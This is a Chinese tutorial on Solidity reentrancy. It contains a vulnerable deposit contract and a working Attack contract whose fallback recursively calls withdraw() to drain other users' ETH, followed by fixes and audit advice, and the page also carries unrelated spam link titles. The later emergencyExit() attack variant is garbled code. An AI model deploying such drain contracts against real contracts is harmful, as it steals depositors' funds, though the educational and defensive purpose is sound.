当前位置: 首页 > news >正文

视频网站怎么做动图/小广告公司如何起步

视频网站怎么做动图,小广告公司如何起步,开网络公司做网站挣钱吗,台州椒江网站制作公司文章目录 概念漏洞代码代码审计攻击代码攻击过程总结示例修复建议审计思路 概念 以太坊的智能合约可以互相调用,也就是说,一个合约可以调用另一个合约的函数。除了外部账户,合约本身也可以持有以太币并进行转账。当合约接收到以太币时&#…

文章目录

    • 概念
    • 漏洞代码
    • 代码审计
    • 攻击代码
    • 攻击过程总结
    • 示例
    • 修复建议
    • 审计思路

在这里插入图片描述

概念

以太坊的智能合约可以互相调用,也就是说,一个合约可以调用另一个合约的函数。除了外部账户,合约本身也可以持有以太币并进行转账。当合约接收到以太币时,通常会触发一个叫做 fallback 的函数来执行一些特定的操作。这就是所谓的“隐蔽的外部调用”。

重入漏洞的问题出现在合约的外部调用上,尤其是当目标是一个恶意的合约时。攻击者可能会利用这种外部调用,在被攻击的合约中执行一些恶意逻辑。举个例子,当合约调用恶意合约时,恶意合约可以通过某些方式重新进入被攻击的合约,重复执行一些操作,甚至发起非预期的交易,从而破坏合约的正常逻辑。

换句话说,重入漏洞就是攻击者利用合约间外部调用的机制,在合约中反复进入,造成不希望发生的行为,通常会导致合约的资金被盗取。

漏洞代码

以下为典型的存在重入漏洞的合约代码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;contract EtherStore {mapping(address => uint) public balances;// 存款函数function deposit() public payable {// 增加余额balances[msg.sender] += msg.value;}// 提款函数function withdraw() public {// 提款前,余额需大于0uint bal = balances[msg.sender];require(bal > 0, "Insufficient balance");// 先发送以太(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");// 再清除余额balances[msg.sender] = 0;}// 查询合约余额function getBalance() public view returns (uint) {return address(this).balance;}
}

不难看出,该 EtherStore 合约是一个充提合约。

代码审计

我们重点关注 withdraw() 函数:

    // 提款函数function withdraw() public {// 提款前,余额需大于0uint bal = balances[msg.sender];require(bal > 0, "Insufficient balance");// 先发送以太(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");// 再清除余额balances[msg.sender] = 0;}

这一段代码执行了转账操作,实现了外部调用:

        // 先发送以太(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");

因此我们需要特别关注这里是否存在重入漏洞。

我们可以看到,在 withdraw 函数中,合约是先执行外部调用进行转账,然后才将用户的账户余额清零。那么,我们就可以构造一个恶意合约,在接收到转账时,通过回调函数在 balances[msg.sender] = 0 这一行执行之前,不断递归调用 withdraw 函数重复提现,从而将整个合约的余额逐步提空。

攻击代码

仔细查看代码注释:

contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) { // 构造函数的声明etherStore = EtherStore(_etherStoreAddress);// 把传入的地址 _etherStoreAddress 转换为 EtherStore 类型的合约实例,并赋值给 etherStore 这个变量}// 相当于传入受害合约// 当合约收到以太币时,// 如果没有 receive() 函数,或者调用的数据不匹配任何函数签名,// 就会触发 fallback() 函数// 因此,当 EtherStore 合约向 Attack 合约发送以太币时,这个 fallback() 就会被自动触发// 然后检查 EtherStore 当前余额是否仍然大于等于 1 ETH;// 如果是,就再次调用 etherStore.withdraw();fallback() external payable {if (address(etherStore).balance >= 1 ether) {etherStore.withdraw();}}function attack() external payable {require(msg.value >= 1 ether);etherStore.deposit{value: 1 ether}(); // 向 EtherStore 合约存入 1 ETH,增加其余额// 从 EtherStore 中提取资金etherStore.withdraw();// 提取到资金后,就会触发本合约的 fallback() }// 辅助函数:查看该合约的余额function getBalance() public view returns (uint) {return address(this).balance;}
}

攻击过程总结

1.攻击者首先调用 attack(),并向 EtherStore 合约发送 1 ETH。

2.然后,Attack 合约将这 1 ETH 存入 EtherStore 合约。

由于在 EtherStore 合约提款时,余额需大于0,因此需提前存入 1 ETH 满足提款条件,进而触发下文的第4点。

3.紧接着,攻击者调用 Attack 合约中的 withdraw(),从 EtherStore 提取资金。

4.EtherStore 合约向 Attack 合约转账,触发 Attack 合约的 fallback() 函数。

5.在 Attack 合约的 fallback() 中,Attack 合约再次调用 withdraw(),重复这个过程,直到 EtherStore 合约的余额被完全提取。

示例

我们假设有三个角色参与本次攻击:

  • 用户 Alice
  • 用户 Bob
  • 攻击者 Eve

整个攻击过程如下。

1.部署 EtherStore 合约。

2.用户 Alice 和用户 Bob 各向 EtherStore 合约充值 1 个以太币。此时合约总余额为 2 ETH。

3.攻击者 Eve 部署 Attack 合约,并在部署时传入 EtherStore 合约地址,完成初始化。

4.Eve 调用 Attack.attack() 函数,向 EtherStore 合约存入 1 个以太币,以建立合法的余额记录;

5.此时 EtherStore 合约中共有 3 ETH,分别来自 Alice、Bob 和 Eve。

6.攻击者调用 EtherStore.withdraw() 提现这 1 ETH。

7.在提现过程中,EtherStore 合约会向 Attack 合约发送 1 ETH,进而触发 Attack 合约的 fallback() 函数。

8.在 fallback() 中,只要 EtherStore 合约余额仍大于等于 1 ETH,Attack 合约就会递归调用 withdraw(),不断重复提现。

9.最终,直到 EtherStore 合约余额低于 1 ETH,攻击循环才会停止。

10.此时:

  • Alice 和 Bob 原本的 2 ETH 已被攻击者转移走;
  • 攻击者 Eve 获得了合约中所有剩余的资金。

修复建议

1.先更新状态,再进行外部调用
我们应避免在修改状态变量之前进行外部调用。因此,我们可以将 balances[msg.sender] = 0; 移动到转账语句之前。

    // 提款函数function withdraw() public {// 提款前,余额需大于0uint bal = balances[msg.sender];require(bal > 0, "Insufficient balance");// 先清除余额balances[msg.sender] = 0;// 再发送以太(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");

此时你可能有疑问:“把 balances[msg.sender] = 0; 放在转账前,不就把余额清零了吗?那转账的那一行怎么实现?”

注意:第 1 行我们用 uint bal = balances[msg.sender]; 把用户余额先读出来,赋值给了一个局部变量 bal;即使我们随后把 balances[msg.sender] 设置为 0,不会影响 bal 的值;最后转账时,用的不是 balances[msg.sender],而是我们事先保存下来的 bal,所以不会出问题。

2.使用“重入锁”(Reentrancy Guard)
可以引入互斥锁(mutex)机制,防止函数被递归调用。OpenZeppelin 提供了非常成熟的 ReentrancyGuard 合约。

示例代码如下:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";contract EtherStore is ReentrancyGuard {mapping(address => uint) public balances;// 存款函数function deposit() public payable {balances[msg.sender] += msg.value;}// nonReentrant 是 ReentrancyGuard 提供的一个修饰器(modifier)// 一旦 withdraw() 开始执行,就不允许再次进入,直到它执行完毕function withdraw() public nonReentrant {uint bal = balances[msg.sender];require(bal > 0, "Insufficient balance");balances[msg.sender] = 0;(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");}
}

此时你可能又有一个问题:“我已经用了 nonReentrant,那我是不是就可以把转账写在前,清零写在后?”

不行。理由如下:

1.“状态先改,再调用外部合约”,满足 Solidity 安全开发的通用原则:Checks-Effects-Interactions Pattern。

2.你未来可能会在 EtherStore 合约中新增一个“退出合约”或“紧急退款”功能,比如编写了一个 emergencyExit() 函数,内部帮助用户调用 withdraw()。但如果这个函数未加 nonReentrant 修饰器,就可能引发重入风险。示例如下:

function emergencyExit() public {     // emergencyExit() 后忘记加 nonReentrantwithdraw(); // 调用了已经加锁的 withdraw()
}

虽然 withdraw() 本身是有 nonReentrant 修饰器的,但由于它是被合约内部直接调用的(即内部函数调用),不会触发 ReentrancyGuard 的锁机制。因为锁机制依赖的是“重新进入函数”的检测,而这种调用路径仍然沿着原始的调用栈执行,并未重新进入函数上下文。

攻击者只需修改代码如下,即可再次导致重入攻击的发生:

contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) { // 构造函数的声明etherStore = EtherStore(_etherStoreAddress);// 把传入的地址 _etherStoreAddress 转换为 EtherStore 类型的合约实例,并赋值给 etherStore 这个变量}// 相当于传入受害合约// 当合约收到以太币时,// 如果没有 receive() 函数,或者调用的数据不匹配任何函数签名,// 就会触发 fallback() 函数// 因此,申请紧急退款时,EtherStore 合约向 Attack 合约发送以太币,这个 fallback() 就会被自动触发// 然后检查 EtherStore 当前余额是否仍然大于等于 1 ETH;// 如果是,就再次调用 emergencyExit()fallback() external payable {if (address(etherStore).balance >= 1 ether) {emergencyExit()}}function attack() external payable {require(msg.value >= 1 ether);etherStore.deposit{value: 1 ether}(); // 向 EtherStore 合约存入 1 ETH,增加其余额// 调用紧急退款,从 EtherStore 提取资金emergencyExit()// 提取到资金后,触发本合约的 fallback() }// 辅助函数:查看该合约的余额function getBalance() public view returns (uint) {return address(this).balance;}
}

审计思路

所有涉及外部合约调用的代码位置都可能存在安全风险。因此,在审计过程中,我们应重点审查这些外部调用的部分,并深入推演可能产生的危害。通过这种方式,我们能够有效判断是否存在重入漏洞的风险,并采取相应的防护措施。

最后要注意:使用 call 函数进行转账容易发生重入攻击,因为 call 是低级函数,call 在执行后会执行目标地址(msg.sender)的 fallback 或 receive 函数,即将控制权交给目标合约。

http://www.whsansanxincailiao.cn/news/32037924.html

相关文章:

  • 找快照网站查询/百度指数电脑端查询
  • wordpress打开网站打不开/网站做外链平台有哪些
  • 外贸公司用的采购储运财务软件/微博搜索引擎优化
  • 免费模板下载网站推荐/地推推广方案
  • 辽宁城乡建设部网站首页/semiconductor是什么意思
  • 如何用织梦建网站/哈尔滨网络公司
  • 买域名自己做网站/百度sem是什么意思
  • 陕西建设网官方网站/百度网页怎么制作
  • 长沙手机网站建设公司排名/百度关键词排名优化
  • 招聘网站开发兼职/seo是什么级别
  • 江苏常州网站建设/提高工作效率心得体会
  • 课程网站建设课程/技能培训有哪些
  • 上海住房与城乡建设管理委员会网站/百度新闻首页头条
  • 街道口做网站公司/指数是指什么
  • 手机上的网站/引擎优化seo怎么做
  • 做电影网站犯法吗/seo快照推广
  • 吉林省建设安全协会网站/安徽搜索引擎优化seo
  • 投标网站建设服务承诺/网站推广seo设置
  • 电商网站开发的职责/淘宝交易指数换算工具
  • 整合营销方案/上海抖音seo公司
  • 怎么做自己的发卡网站/互联网营销师培训学校
  • 代做论文 软件指导去哪些网站/谷歌seo搜索引擎优化
  • 郑州做网站建设的公司/韶关网站seo
  • 高要区住房和城乡建设局网站/sem优化软件选哪家
  • 太原学网站开发的学校/百度指数是怎么计算的
  • 电子商务网站建设实验报告/东莞疫情最新消息今天又封了
  • [ 1500元做网站_验收满意再付款! /千锋教育和黑马哪个好
  • 网站建设公司无锡/教育培训机构官网
  • 点胶喷嘴技术支持东莞网站建设/网站没有友情链接
  • 东莞建设网站公司/windows优化大师收费吗